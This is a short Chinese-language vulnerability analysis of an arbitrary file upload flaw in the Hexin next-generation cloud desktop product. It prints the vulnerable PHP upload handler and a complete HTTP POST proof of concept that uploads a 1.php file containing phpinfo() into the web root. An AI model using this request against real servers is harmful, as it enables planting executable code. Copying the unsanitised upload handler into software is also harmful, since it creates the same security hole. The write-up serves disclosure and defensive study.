和信下一代云桌面文件上传漏洞分析 - 图1

    安装好的目录结构,看到有个 Upload 进去看下
    upload_file.php

    1. 1. `<?php`
    2. 2. `function writeLog($msg){`
    3. 3. `$logFile = date('Y-m-d').'.txt';`
    4. 4. `$msg = date('Y-m-d H:i:s').' >>> '.$msg."\r\n";`
    5. 5. `file_put_contents($logFile,$msg,FILE_APPEND );`
    6. 6. `}`
    7. 7. `//require("vesystem/msg_define/session_lib.php");`
    8. 8. `if ($_FILES["file"]["error"] > 0)`
    9. 9. `{`
    10. 10. `// echo "Return Code: " . $_FILES["file"]["error"] . "`
    11. 11. `";`
    12. 12. `}`
    13. 13. `else`
    14. 14. `{`
    15. 15. `echo "_Requst:<br>";`
    16. 16. `/* foreach($_REQUEST as $name => $value)`
    17. 17. `{`
    18. 18. `$name."=".$value."<br>";`
    19. 19. `}`
    20. 20. `//echo "_FILES:<br>";`
    21. 21. `foreach($_FILES as $array_name=>$array_value)`
    22. 22. `{`
    23. 23. `$array_name."=".$array_value."<br>";`
    24. 24. `foreach($_FILES[$array_name] as $name => $value)`
    25. 25. `{`
    26. 26. `$name."=".$value."<br>";`
    27. 27. `}`
    28. 28. `} */`
    29. 29. `$l = $_GET['l'];`
    30. 31. `//拆分字符串按“/”分割字符`
    31. 32. `$arrpath = explode("/",$l);`
    32. 33. `$m = count($arrpath);`
    33. 36. `$file_e = "";`
    34. 37. `if ($m>1){`
    35. 38. `for($i=0;$i<$m;$i++){`
    36. 39. `$file_e .= $arrpath[$i];`
    37. 42. `if(!file_exists($file_e)){`
    38. 43. `mkdir($file_e, 0777);`
    39. 44. `}`
    40. 45. `$file_e .= "/";`
    41. 46. `}`
    42. 48. `}else{`
    43. 50. `//判断文件夹是否存在 ,不存在就新建个`
    44. 53. `if(!file_exists($l)){`
    45. 54. `mkdir("$l", 0777);`
    46. 55. `}`
    47. 56. `}`
    48. 60. `$target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];`
    49. 63. `if (file_exists($target_path))`
    50. 64. `{`
    51. 65. `unl ink($target_path);`
    52. 66. `}`
    53. 69. `$a = 'old_file='.$_FILES["file"]["tmp_name"];`
    54. 71. `writeLog($a);`
    55. 72. `writeLog('new_file='.$target_path);`
    56. 73. `$target_path = str_replace ( '//', '/', $target_path );`
    57. 75. `writeLog('new_file2='.$target_path);`
    58. 77. `$varerror = move_uploaded_file($_FILES["file"]["tmp_name"],$target_path);`
    59. 79. `writeLog('$varerror='.$varerror);`
    60. 80. `}`
    61. 81. `?>`

    直接就是任意文件上传,获取参数 l 然后上传的文件名路径为
    /Upload/“.和信下一代云桌面文件上传漏洞分析 - 图2_FILES[“file”][“name”]

    1. 1. `POST /Upload/upload_file.php?l=1 HTTP/1.1`
    2. 2. `Host: 127.0.0.1:2001`
    3. 3. `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36`
    4. 4. `Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8`
    5. 5. `Referer: http://127.0.0.1:2001/`
    6. 6. `Accept-Encoding: gzip, deflate`
    7. 7. `Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8`
    8. 8. `Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6`
    9. 9. `Connection: close`
    10. 10. `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv`
    11. 11. `Content-Length: 164`
    12. 13. `------WebKitFormBoundaryfcKRltGv`
    13. 14. `Content-Disposition: form-data; name="file"; filename="1.php"`
    14. 15. `Content-Type: image/avif`
    15. 17. `<?php phpinfo(); ?>`
    16. 18. `------WebKitFormBoundaryfcKRltGv--`

    和信下一代云桌面文件上传漏洞分析 - 图3

    和信下一代云桌面文件上传漏洞分析 - 图4

    https://forum.butian.net/share/80